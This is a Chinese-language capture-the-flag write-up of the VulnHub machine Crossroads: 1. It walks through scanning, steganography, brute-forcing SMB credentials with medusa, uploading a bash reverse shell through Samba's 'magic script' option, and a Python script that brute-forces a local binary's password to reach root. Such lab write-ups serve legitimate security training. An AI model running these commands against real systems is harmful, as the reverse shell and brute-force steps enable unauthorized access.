準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Crossroads: 1,下載地址:https://download.vulnhub.com/crossroads/crossroads_vh.ova,下載後直接vbox開啟即可。
知識點:stegoveritas工具使用、smb服務掃描、shell反彈、簡單指令碼編寫。
一:資訊收集
1.nmap掃描
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.5.0/24,發現靶機地址:192.168.5.159。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.159,顯示開放了80埠、139埠、445埠,開啟了smb服務、http服務。
2.目錄掃描
使用gobuster進行目錄掃描,命令:gobuster dir -x php,jpg,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.5.159,發現/robots.txt檔案和/note.txt檔案。
訪問下/robots.txt檔案和/note.txt檔案,發現提示資訊和一張圖片資訊,訪問:http://192.168.5.159/robots.txt和http://192.168.5.159/note.txt。
3.stegoveritas工具使用
將圖片下載下來使用隱寫工具來檢視下是否隱藏有資訊,命令:stegoveritas crossroads.png,生成一個新的資料夾:results。
在/result/keep目錄下發現一個檔案(就是第一個檔名字可能不同)是字典檔案,後面會用到,將該檔案儲存下來後面會用到,別的檔案別動,我當時動了之後直接導致這個字典檔案沒了。
4.smb服務
使用smb服務掃描器:enum4linux對靶機進行掃描,發現一個賬戶:albert和兩個目錄:print$、smbshare。
二 :資訊利用
1.smb服務利用
登入smb服務時發現需要密碼,那就對smb服務進行爆破,命令medusa -h 192.168.5.159 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt,成功獲得一組賬戶密碼:bradley1。這裡開始使用的是hydra爆破,但是爆破不出來,後來使用win上的一個小工具超級弱口令檢測工具能檢測出來,不知道hydra檢測不出來的原因是什麼,然後就百度了一下,找到了medusa工具。
使用獲得賬戶和密碼資訊連線smb服務,命令:smbclient //192.168.5.159/albert -U albert,在目錄資訊中發現user.txt檔案,下載該檔案並讀取該檔案,成功獲得第一個flag值。
2.shell反彈
在smbshare目錄下發現一個smb的配置檔案:smb.conf,讀取該檔案發現magic script = smbscript.sh,magic script選項為魔術指令碼,這個選項如果被設定了具體檔名,則Samba將在使用者開啟和關閉檔案後立即執行該檔案,因此我們直接上傳一個名字為smbscript.sh的shell反彈指令碼:bash -c 'bash -i >&/dev/tcp/192.168.5.161/6688 0>&1',成功獲得shell許可權。這裡需要smbclient //192.168.5.159/smbshare -U albert從新登入下smb服務,否則無法反彈shell。
3.逆向
將reboot檔案下載到本地,然後使用ida工具進行逆向,檢視其虛擬碼,發現是執行了/root/beroot.sh檔案。在shell中嘗試執行reboot程式,但是需要輸入密碼。
三:提權
1.指令碼編寫
用我們之前從圖片中發現的字典來進行爆破beroot程式的密碼,這裡需要寫一個指令碼上傳到靶機中,然後執行我們上傳的指令碼成功獲得密碼:#1bitch。
bp.py
import subprocess
import os
import time
import sys
path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot"
def broot():
os.system("export TERM=xterm")
with open("pass","r",encoding="ISO-8859-1") as file:
words = file.read().splitlines()
for word in words:
execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable)
print(execute)
if content not in execute:
print("[!]Password:" + word)
sys.exit(0)
broot()
2.提權
執行beroot程式,然後輸入我們獲得的密碼資訊:#1bitch,但是顯示仍是密碼錯誤,那我們將字典中的該密碼刪掉,命令:sed -i "s/\#1bitch/ /g" pass,從新跑一下,獲得新的密碼:lemuel。
告訴我們執行ls可以發現root creds檔案,檢視下該檔案資訊成功獲得root密碼:___drifting___,切換到root賬戶,然後再/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。